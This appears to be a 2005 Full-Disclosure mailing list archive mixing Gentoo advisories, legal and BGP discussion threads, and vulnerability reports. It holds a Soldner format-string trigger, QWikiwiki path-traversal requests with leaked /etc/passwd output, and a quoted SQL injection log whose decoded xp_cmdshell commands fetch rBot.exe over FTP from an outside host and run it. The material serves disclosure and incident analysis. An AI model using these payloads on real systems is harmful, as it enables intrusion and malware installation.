Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-02.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2004 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050104/8ad2ad83/attachment.bin From aluigi at autistici.org Tue Jan 4 18:57:43 2005 From: aluigi at autistici.org (Luigi Auriemma) Date: Tue, 4 Jan 2005 18:57:43 +0000 Subject: [Full-Disclosure] Socket termination, format string and XSS in Soldner Secret Wars 30830 Message-ID: <20050104185743.4e6bd4bf.aluigi@autistici.org>

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####################################################################### Luigi Auriemma Application: S?LDNER - Secret Wars http://www.secretwars.net Versions: <= 30830 Platforms: Windows Bugs: A] silent socket termination B] in-game format string C] in-game cross site scripting versus admin Exploitation: remote, versus server (B and C are in-game bugs) Date: 04 Jan 2005 Author: Luigi Auriemma e-mail: aluigi at autistici.org web: http://aluigi.altervista.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== S?LDNER is a tactical military game developed by Wings Simulations (http://www.wingssimulations.com) and has been released in May 2004. ####################################################################### ======= 2) Bugs ======= ---------------------------- A] silent socket termination ---------------------------- The bug happens when the server receives an UDP packet of 1401 or more bytes causing the immediate termination of the listening thread for a bad handling of the "message too long" socket error. The termination of the socket is silent (no warning or messages) so the admin cannot easily understand what is happened. ------------------------ B] in-game format string ------------------------ An attacker can crash or execute remote code on the game server simply sending a message containing the format arguments (like the classical %n%n%n). -------------------------------------------- C] in-game cross site scripting versus admin -------------------------------------------- The S?LDNER server has a nice web interface (port 7890) useful for the remote administration of the servers. This web interface contains also a screen (chat) in which are shown all the server logs included the messages exchanged by the users that are not filtered and so an attacker can execute HTML or Javascript code in the admin's browser. ####################################################################### =========== 3) The Code =========== A] http://aluigi.altervista.org/poc/soldnersock.zip B] %n%n%n C] ####################################################################### ====== 4) Fix ====== No fix. No reply from the developers. ####################################################################### --- Luigi Auriemma http://aluigi.altervista.org From madelman at iname.com Tue Jan 4 19:31:41 2005 From: madelman at iname.com (Madelman) Date: Tue, 04 Jan 2005 20:31:41 +0100 Subject: [Full-Disclosure] QWikiwiki directory traversal vulnerability Message-ID: <41DAEF1D.5090907@iname.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: QWikiwiki directory traversal vulnerability Vulnerability discovery: Madelman Date: 01/01/2005 Severity: Critical Summary: - -------- QwikiWiki is driven by one core design goal: simplicity. This design goal is codified into three key principles: ~ Self Sufficiency: QwikiWiki requires only a web server and PHP. ~ Zero-Edit Deployment: QwikiWiki is immediately usable "out of the box". ~ Minimalist Featureset: QwikiWiki is not everything to everybody. QwikiWiki uses only cookies and the file system, and thus does not require a MySQL server or any other database support. Data is stored in simple text files, and backups are just complete copies of the data directory. Ain't nothing fancier than it need be. (from vendor site: http://www.qwikiwiki.com) QWikiwiki doesn't check the page parameter which allows reading any file This vulnerability has been tested with QWikiwiki 1.4.1 Details: - -------- If we want to read the password for QWikiwiki: REQUEST: http://[SERVER]/qwiki/index.php?page=../_config.php%00 RETURNS: (looking at source of HTML) [...] $QW_CONFIG['title'] = "QwikiWiki"; $QW_CONFIG['adminName'] = "David Barrett"; $QW_CONFIG['adminPassword'] = 'changeme!' We can also read any file the webserver has permission to: REQUEST: http://[SERVER]/qwiki/index.php?page=../../../../../../etc/passwd%00 RESPONSE: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh [...] Solution - -------- Temporary Fix In file _wikiLib.php substitute function QWCreateDataPath?( $page, $extension ) { return 'data/'. $page . $extension; } with function QWCreateDataPath?( $page, $extension ) { if (strpos($page, "..") === false) { ~ return 'data/'. $page . $extension; } else { ~ return ''; } } Timeline - -------- 01/01/2005 - Vulnerability found 01/01/2005 - Vendor contacted 01/01/2005 - Vendor confirmed bug 04/01/2005 - Bug published in vendor page and advisory released -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (MingW32) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFB2u8d3RWooxY20cIRArbIAJsEu1pSqJuHdYpWmOO76oHoTxcixACgj/sP BcUAER8m/maxIApdZEQ0MfA= =LZ+j -----END PGP SIGNATURE----- From chromazine at sbcglobal.net Tue Jan 4 23:23:43 2005 From: chromazine at sbcglobal.net (Steve Kudlak) Date: Tue, 04 Jan 2005 15:23:43 -0800 Subject: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email Message-ID: <41DB257F.8050609@sbcglobal.net> Here is an example of a court ruling that involves legal issues and the Internet, where there was a "real world" way thing have been done with real world things and a representation that since the Internet was global it meant that one was "targeting people in Maryland" . It also relates to the convoluted depths some legal things can become. It is long but it gets some idea of how courts work in matters like these. It likes at: http://www.mdd.uscourts.gov/Opinions152/Opinions/shamsuddin11302004.pdf Have Fun, Sends Steve . From kkadow at gmail.com Wed Jan 5 05:22:27 2005 From: kkadow at gmail.com (Kevin) Date: Tue, 4 Jan 2005 23:22:27 -0600 Subject: [Full-Disclosure] MediaSentry false positives? Message-ID: Has anybody received "Notice of claimed infringement" from MediaSentry for IP addresses which, while registered to you or your organization, are in a range not actively in use? I recently received two notices from MediaSentry for MPAA material, each listing a single file shared via Kazaa, for two very different IP addresses for which I am a contact. In both cases, the IP addresses reported were in fact within the range allocated, however the address shown is not only not in use, no address with the same first three octets is either used or announced via BGP, nor have they ever been publicly visible. I see two likely possibilities -- either MediaSentry is not using due diligence in verifying that the material for which they send infringement notices is actually shared from the address they show in the complaint, or somebody on the Internet is spoofing BGP route announcements for unused address space out of larger allocations. Before I panic and start researching solutions to address the latter problem, I'm hoping to first verify whether in fact the MediaSentry notices have any basis in fact? Thanks, Kevin Kadow (P.S. If you have received a similar "Notice of claimed infringement" letter from MediaSentry for unused IP addresses, please feel free to contact me privately.) From koon at gentoo.org Wed Jan 5 09:09:24 2005 From: koon at gentoo.org (Thierry Carrez) Date: Wed, 05 Jan 2005 10:09:24 +0100 Subject: [Full-Disclosure] [ GLSA 200501-03 ] Mozilla, Firefox, Thunderbird: Various vulnerabilities Message-ID: <41DBAEC4.60100@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Mozilla, Firefox, Thunderbird: Various vulnerabilities Date: January 05, 2005 Bugs: #76112, #68976, #70749 ID: 200501-03 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Various vulnerabilities were found and fixed in Mozilla-based products, ranging from a potential buffer overflow and temporary files disclosure to anti-spoofing issues. Background ========== Mozilla is a popular web browser that includes a mail and newsreader. Mozilla Firefox and Mozilla Thunderbird are respectively the next-generation browser and mail client from the Mozilla project. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 mozilla < 1.7.5 >= 1.7.5 2 mozilla-bin < 1.7.5 >= 1.7.5 3 mozilla-firefox < 1.0 >= 1.0 4 mozilla-firefox-bin < 1.0 >= 1.0 5 mozilla-thunderbird < 0.9 >= 0.9 6 mozilla-thunderbird-bin < 0.9 >= 0.9 ------------------------------------------------------------------- 6 affected packages on all of their supported architectures. ------------------------------------------------------------------- Description =========== Maurycy Prodeus from isec.pl found a potentially exploitable buffer overflow in the handling of NNTP URLs. Furthermore, Martin (from ptraced.net) discovered that temporary files in recent versions of Mozilla-based products were sometimes stored world-readable with predictable names. The Mozilla Team also fixed a way of spoofing filenames in Firefox's "What should Firefox do with this file" dialog boxes and a potential information leak about the existence of local filenames. Impact ====== A remote attacker could craft a malicious NNTP link and entice a user to click it, potentially resulting in the execution of arbitrary code with the rights of the user running the browser. A local attacker could leverage the temporary file vulnerability to read the contents of another user's attachments or downloads. A remote attacker could also design a malicious web page that would allow to spoof filenames if the user uses the "Open with..." function in Firefox, or retrieve information on the presence of specific files in the local filesystem. Workaround ========== There is no known workaround at this time. Resolution ========== All Mozilla users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-www/mozilla-1.7.5" All Mozilla binary users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-www/mozilla-bin-1.7.5" All Firefox users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-www/mozilla-firefox-1.0" All Firefox binary users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-www/mozilla-firefox-bin-1.0" All Thunderbird users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=mail-client/mozilla-thunderbird-0.9" All Thunderbird binary users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=mail-client/mozilla-thunderbird-bin-0.9" References ========== [ 1 ] isec.pl Advisory http://isec.pl/vulnerabilities/isec-0020-mozilla.txt [ 2 ] Martin (from ptraced.net) Advisory http://broadcast.ptraced.net/advisories/008-firefox.thunderbird.txt [ 3 ] Secunia Advisory SA13144 http://secunia.com/advisories/13144/ Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-03.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2004 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/6e3e96e0/attachment.bin From rienzi at nimrod.com.mx Wed Jan 5 05:56:59 2005 From: rienzi at nimrod.com.mx (rienzi at nimrod.com.mx) Date: Tue, 4 Jan 2005 23:56:59 -0600 (CST) Subject: [Full-Disclosure] Tiger Teams Message-ID: <3453.201.129.217.193.1104904619.squirrel@201.129.217.193> Hi I?m looking for tiger teams around that works with enterprises dedicated to TI research , i?m lookin some way to contact them maybe a web page, email or something like that. Thank's Darkslaker From MRMyers at anteon.com Wed Jan 5 11:27:24 2005 From: MRMyers at anteon.com (Myers, Marvin) Date: Wed, 5 Jan 2005 06:27:24 -0500 Subject: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email Message-ID: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com> One of the core issues here is or should be whether or not the defendant specifically targeted the residents of the state where the plaintiff is trying to claim jurisdiction. There are many websites out there that may be advertising products and or services that may be illegal for sale or use in my state, but unless they are specifically targeting residents of my state or forcing their websites upon the people of my state, then it should be the jurisdiction of the state where the entity claims residence that has ultimate jurisdiction. In the case of the Yahoo E-mail issue, I believe that the e-mails should belong to the estate of the dead soldier, just as any other article that was originally intentioned to belong to him now belongs to his estate after his death. It would be a sad situation where all of a person's belongings were deemed to belong to the person who had possession of the goods at the time of death of an individual. Yahoo should turn the e-mails over to the soldier's e-state and allow the executor of the e-state to determine the ownership of the e-mails during the course of probate. Just my opinion, to which I am entitled. Marvin R. Myers CISSP -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Steve Kudlak Sent: Tuesday, January 04, 2005 6:24 PM To: fulldis Subject: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email Here is an example of a court ruling that involves legal issues and the Internet, where there was a "real world" way thing have been done with real world things and a representation that since the Internet was global it meant that one was "targeting people in Maryland" . It also relates to the convoluted depths some legal things can become. It is long but it gets some idea of how courts work in matters like these. It likes at: http://www.mdd.uscourts.gov/Opinions152/Opinions/shamsuddin11302004.pdf Have Fun, Sends Steve . _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From fw at deneb.enyo.de Wed Jan 5 12:00:41 2005 From: fw at deneb.enyo.de (Florian Weimer) Date: Wed, 05 Jan 2005 13:00:41 +0100 Subject: [Full-Disclosure] MediaSentry false positives? In-Reply-To: (kkadow@gmail.com's message of "Tue, 4 Jan 2005 23:22:27 -0600") References: Message-ID: <87y8f8f5li.fsf@deneb.enyo.de> > Has anybody received "Notice of claimed infringement" from MediaSentry > for IP addresses which, while registered to you or your organization, > are in a range not actively in use? I've independently received another report of this problem. > I see two likely possibilities -- either MediaSentry is not using due > diligence in verifying that the material for which they send > infringement notices is actually shared from the address they show in > the complaint, or somebody on the Internet is spoofing BGP route > announcements for unused address space out of larger allocations. RIPE doesn't have an announcement of the prefix, so I think MediaSentry was in error. I don't think it makes sense for MediaSentry to check their findings more closely from a business perspective. They don't try to download the infringing material to confirm that redistribution actually takes place, either. From kin186 at hackermail.com Wed Jan 5 13:42:24 2005 From: kin186 at hackermail.com (White Self-Existing World-Bridger) Date: Wed, 05 Jan 2005 21:42:24 +0800 Subject: [Full-Disclosure] DMA[2005-0103a] - 'William LeFebvre "top" format string vulnerability' Message-ID: <20050105134224.DA5AA7A8C8C@ws4-4.us4.outblaze.com> > Kevin Finisterre On Wed, 2004-11-24 at 04:38 notifies the vendor! 4 years > later! This bug was found alive and kicking in the Solaris 10 Sun freeware > package. LOL! Yeah it seems a lot of interesting bugs slip through the cracks. I wonder what other tasty morsels are lurking out there. Thanks for the PoC. -- kin 186: White Self-Existing World-Bridger ------------------------------------------ I Define in order to Equalize Measuring Opportunity I seal the Store of Death With the Self-Existing tone of Form I am guided by the power of Spirit -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze From nicholasnam at hush.com Wed Jan 5 14:45:08 2005 From: nicholasnam at hush.com (nicholasnam at hush.com) Date: Wed, 5 Jan 2005 06:45:08 -0800 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? Message-ID: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Is anyone else seeing this: - --SNIP-- ;; QUESTION SECTION: ;www.microsoft.com. IN A ;; ANSWER SECTION: www.microsoft.com. 2415 IN CNAME www.microsoft.com.nsatc.net. - --SNIP-- Notice that www.microsoft.com is a cname for www.microsoft.com.nsatc.net. It's not limited to www.microsoft.com and to the best of my knowledge the correct web content is displayed. -----BEGIN PGP SIGNATURE----- Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 2.4 wkYEARECAAYFAkHb/bwACgkQQOst28rex96r7wCgsFrpGByDC4YOskegpoIOetZsfMQA oIqgBD6fqzV1t57I/Yh+ayae4Z/Z =xvDv -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Wed Jan 5 14:53:55 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 05 Jan 2005 09:53:55 -0500 Subject: [Full-Disclosure] MediaSentry false positives? In-Reply-To: Your message of "Tue, 04 Jan 2005 23:22:27 CST." References: Message-ID: <200501051453.j05ErtS5031948@turing-police.cc.vt.edu> On Tue, 04 Jan 2005 23:22:27 CST, Kevin said: > the complaint, or somebody on the Internet is spoofing BGP route > announcements for unused address space out of larger allocations. This is actually quite likely a possibility. There are enough tier-1's who do a piss-poor job of filtering their BGP feeds that if you can inject an announcement you can hijack the address block. This is being actively abused by several different groups of spammers. You might want to wander over to the NANOG list archives and search for 'BGP hijack' and/or poke one/several of the BGP looking glasses out there to see if there's an announcement for your space. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/6337c45d/attachment.bin From Valdis.Kletnieks at vt.edu Wed Jan 5 14:55:30 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 05 Jan 2005 09:55:30 -0500 Subject: [Full-Disclosure] MediaSentry false positives? In-Reply-To: Your message of "Wed, 05 Jan 2005 13:00:41 +0100." <87y8f8f5li.fsf@deneb.enyo.de> References: <87y8f8f5li.fsf@deneb.enyo.de> Message-ID: <200501051455.j05EtUf8000455@turing-police.cc.vt.edu> On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer said: > RIPE doesn't have an announcement of the prefix, so I think > MediaSentry was in error. Did you just check the RADB, or did you actually poke a looking glass to see what's actually being announced? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/fd3ae73b/attachment.bin From fw at deneb.enyo.de Wed Jan 5 15:03:27 2005 From: fw at deneb.enyo.de (Florian Weimer) Date: Wed, 05 Jan 2005 16:03:27 +0100 Subject: [Full-Disclosure] MediaSentry false positives? In-Reply-To: <200501051455.j05EtUf8000455@turing-police.cc.vt.edu> (Valdis Kletnieks's message of "Wed, 05 Jan 2005 09:55:30 -0500") References: <87y8f8f5li.fsf@deneb.enyo.de> <200501051455.j05EtUf8000455@turing-police.cc.vt.edu> Message-ID: <87ekgzc400.fsf@deneb.enyo.de> * Valdis Kletnieks: > On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer said: > >> RIPE doesn't have an announcement of the prefix, so I think >> MediaSentry was in error. > > Did you just check the RADB, or did you actually poke a looking glass to > see what's actually being announced? I searched the RIS database (and hoped that it's reasonably accurate). From lewk at gentoo.org Wed Jan 5 15:26:58 2005 From: lewk at gentoo.org (Luke Macken) Date: Wed, 5 Jan 2005 10:26:58 -0500 Subject: [Full-Disclosure] [ GLSA 200501-04 ] Shoutcast Server: Remote code execution Message-ID: <20050105152658.GA10527@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Shoutcast Server: Remote code execution Date: January 05, 2005 Bugs: #75482 ID: 200501-04 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Shoutcast Server contains a possible buffer overflow that could lead to the execution of arbitrary code. Background ========== Shoutcast Server is Nullsoft's streaming audio server. It runs on a variety of platforms, including Linux, and is extremely popular with Internet broadcasters. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-sound/shoutcast-server-bin <= 1.9.4-r1 >= 1.9.5 Description =========== Part of the Shoutcast Server Linux binary has been found to improperly handle sprintf() parsing. Impact ====== A malicious attacker could send a formatted URL request to the Shoutcast Server. This formatted URL would cause either the server process to crash, or the execution of arbitrary code. Workaround ========== There is no known workaround at this time. Resolution ========== All Shoutcast Server users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-sound/shoutcast-server-bin-1.9.5" References ========== [ 1 ] BugTraq Announcement http://www.securityfocus.com/archive/1/385350 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-04.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2004 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050105/90c63bea/attachment.bin From precarious_panther at bigpond.com Wed Jan 5 15:41:48 2005 From: precarious_panther at bigpond.com (Adam) Date: Thu, 06 Jan 2005 02:41:48 +1100 Subject: [Full-Disclosure] RE: Yahoo Email Policy "Debate" In-Reply-To: <20050103130812.Y41653@ubzr.zsa.bet> References: <20050103130812.Y41653@ubzr.zsa.bet> Message-ID: <41DC0ABC.9070401@bigpond.com> Some important issues I think that a lot of people are overlooking in this case is that not everything that a person "owns" can be considered estate to be passed on to their next of kin, especially in the case of emails, letters, and other mediums of communication. One of the key differences between standard estate (for example, my computer :P), and communication is that the ownership of my computer is clear-cut, there are few (if any) other legalitys regarding its ownership - where as emails and letters are not "your property" just because they have been sent to you, both morally and legally. For example, if I send an email to somebody close to me that outlines personal material which I would consider "for their eyes only" - if that someone happened to pass away I (and I am sure most people in the same position) would not like that information to be given out to whoever their family/next of kin was - even if they were trustworthy I simply do not know them. As for legally, many documents/emails are marked "for the recipient listed only" as they contain information that only that person - NOT their next of kin or anybody else - is meant to see. For example, an employee may be handling client information for the company they work for through email (whether it be a personal or company email address). My mother is a counsellor and does a lot of online email correspondence with her customers. If god-forbid she passed away, do I have the right to know the mental issues of her patients (people who I may also know) just because she passed away? The point to this is that with property estate such as bank accounts, computers, pet fish, etc, the only person who would be affected by the transfer of the estate is deceased - and most likely wouldnt mind. HOWEVER, correspondence is most often the "property" by more than one person and a transfer of estate of such would breach the rights of others in most cases. I realise that in the currently publicised issue the soldier(?) most likely didn't have anything other than personal letters in his account - but unless he was writing all of them to himself the are other issues legally and morally surrounding a transfer of ownership. I do realise that the family of the deceased wishes to read whatever words he has written - and I would feel the same were I in their position. That doesn't however mean that it should happen. This discussion isn't really they type of material that is supposed to be being posted in Full Disclosure, so sorry to anybody this response has annoyed :P Just an opinion. -Panther J.A. Terranson wrote: >On Wed, 29 Dec 2004, Exibar wrote: > > > >>Yes I am aware that the laws differe from state to state. This would be a >>federal case, a US Federal case, if it ever got that far, it won't. >> >> > >You wanna explain how you came to this brilliant conclusion? How is an >estate issue federal? > > > >> No >>IANAL, but have first hand knowledge of a case very similliar to this. >> >> > >Stop watching TV. > > > >>Digital property and physical property are considered the same in cases like >>this. It is something owned by the deceased. It becomes the property of >>the inheritor. >> >> > >I hope your "consulting practice" doesn't hand out opinions like this. > > > > >> No I cannot cite case law to back up my statements. >> >> > >Then you are making this shit up as you go. > > > > >> If someone were to die without a will, and their >>parents/wife/husband/kids/ etc are the legal hiers, wouldn't they also >>inherit that person's ameritrade stock broker account, or at least >>everything inside said account? Why is e-mail different? >> >> > >So, here you are asking questions that show you don't have a clue, after >telling us how you *know*... Just stop trying to be the One Source Of >Knowledge, and STFU when you don't know what you're talking about. > > > >> Exibar >> >> > > > > From delist at waveresearchlabs.com Wed Jan 5 16:38:19 2005 From: delist at waveresearchlabs.com (Duane Toler) Date: Wed, 05 Jan 2005 11:38:19 -0500 Subject: [Full-Disclosure] Re: YET AGAIN Automatic remote compromise of InternetExplorer Service Pack 2 XP SP2 Message-ID: <41DC17FB.3060808@waveresearchlabs.com> >> They totally forgot HTA files and HTM help files. Who knows what >>else. >I do ;) >About switching to FireFox: if you drive a car you might end up in a >car-crash, changing cars doesn't prevent that. If 90% of people would >be >driving the exact same car, it's obvious most car-crashes will involve >that car. > >Cheers, > >SkyLined This is a false analogy. Perhaps you mean to rephrase such as: "If you drive a car *with a malfunction*, you might end up in a car crash *caused by that malfunction*." Any car carries the possibility of being in a car crash. The elements beyond your control are what increase or decrease the probability of your car crash. Such as: "By switching to another car, without the same, or with a lesser, malfunction, you reduce the chances of having a car crashed by that malfunction" (cat - | sed 's/car/browser/g') From mducharme at cybergeneration.com Wed Jan 5 17:22:54 2005 From: mducharme at cybergeneration.com (Maxime Ducharme) Date: Wed, 5 Jan 2005 12:22:54 -0500 Subject: [Full-Disclosure] SQL injection worm ? Message-ID: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com> Hi list, we receveid a particular SQL injection attack on one of our site. Attack looks like : 2005-01-05 14:39:20 24.164.202.24 - W3SVCX SRVNAME x.x.x.x 80 GET /Nouvelles.asp id_nouvelle=377';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68 %65%6C%6C%20'mkdir%20%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5C';%65%7 8%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20op en%20217.199.183.122%2021%20%3E%3E%20%25systemroot%25%5Csystem32%5CMacromed% 5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%63%6D%64%73% 68%65%6C%6C%20'echo%20USER%20hahajk%20hahaowned%20%3E%3E%20%25systemroot%25% 5Csystem32%5Cmacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52.. %78%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20get%20rBot.exe%20%25systemroot%2 5%5Csystem32%5CMacromed%5Clolx%5Carcdlrde.exe%20%3E%3E%20%25systemroot%25%5C system32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%7 8%70%5F%63%6D%64%73%68%65%6C%6C%20'echo%20quit%20%3E%3E%20%25systemroot%25%5 Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..% 78%70%5F%63%6D%64%73%68%65%6C%6C%20'ftp.exe%20-i%20-n%20-v%20-s:%25systemroo t%25%5Csystem32%5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45 %52..%78%70%5F%63%6D%64%73%68%65%6C%6C%20'del%20%25systemroot%25%5Csystem32% 5CMacromed%5Clolx%5Cblah.jkd';%65%78%65%63%20%4D%41%53%54%45%52..%78%70%5F%6 3%6D%64%73%68%65%6C%6C%20'%25systemroot%25%5Csystem32%5CMacromed%5Clolx%5Car cdlrde.exe'--|17|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Lin e_1:_Incorrect_syntax_near_''. 500 0 0 1395 570 HTTP/1.1 attacked.web.site.com - - - HTTP request contains only 2 fields (beside HTTP method) : Connection: Keep-Alive Host: attacked.web.site.com (I obviously replaced the name of the site). Decoded SQL injection looks like : exec MASTER..xp_cmdshell 'mkdir %systemroot%\system32\Macromed\lolx\'; exec MASTER..xp_cmdshell 'echo open y.y.y.y 21 >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo USER hahajk hahaowned >> %systemroot%\system32\macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo get rBot.exe %systemroot%\system32\Macromed\lolx\arcdlrde.exe >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell 'del %systemroot%\system32\Macromed\lolx\blah.jkd'; exec MASTER..xp_cmdshell '%systemroot%\system32\Macromed\lolx\arcdlrde.exe y.y.y.y is a foreign IP in Europe which host FTP an WWW server. I sent a notice this this site sysadmin about the situation. I have been able to connect to this FTP with the account hahajk/hahaowned (which do not seem legit to me ...) and download suspicious files. I mirrored them here : http://www.cybergeneration.com/security/2005.01.05/rbot.exe_ftp.zip zip pass is 968goyw439807r3qw 24.164.202.24 is on rr.com networks, they have also been advised. I know rbot.exe is known to be Randex worm, but i'd like that have some other results / analysis. I also found a "test.asp" file which contains the Spybot worm. Weird thing is, I searched for this hosts's activity on every server and every firewall we run, and I only see 1 TCP connection which is the prepared SQL injections attack, nothing else. Anybody see similar activity ? I'm asking since I want to know if we are targeted by someone of by a worm like Santy of use search engines to find vulnerable ASP scripts. Thanks in advance Happy new year to everyone ! Maxime Ducharme Programmeur / Sp?cialiste en s?curit? r?seau From danbuk at gmail.com Wed Jan 5 18:29:10 2005 From: danbuk at gmail.com (DanBUK) Date: Wed, 05 Jan 2005 18:29:10 +0000 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> Message-ID: I see the same, but I don't think there is an issue. C:\WINDOWS>nslookup Default Server: pmsidc03.pmsi.local Address: 192.168.42.13 > set type=cname > www.microsoft.com Server: pmsidc03.pmsi.local Address: 192.168.42.13 Non-authoritative answer: www.microsoft.com canonical name = www.microsoft.com.nsatc.net > set type=a > www.microsoft.com Server: pmsidc03.pmsi.local Address: 192.168.42.13 Non-authoritative answer: Name: www.microsoft.com.nsatc.net Addresses: 207.46.156.252, 207.46.244.188, 207.46.245.156, 207.46.249.252 207.46.250.252, 207.46.144.222, 207.46.156.156, 207.46.156.220 Aliases: www.microsoft.com Cheers, DanBUK. DanB UK London, UK. From fw at deneb.enyo.de Wed Jan 5 18:12:43 2005 From: fw at deneb.enyo.de (Florian Weimer) Date: Wed, 05 Jan 2005 19:12:43 +0100 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? In-Reply-To: <200501051445.j05EjDkq077399@mailserver3.hushmail.com> (nicholasnam@hush.com's message of "Wed, 5 Jan 2005 06:45:08 -0800") References: 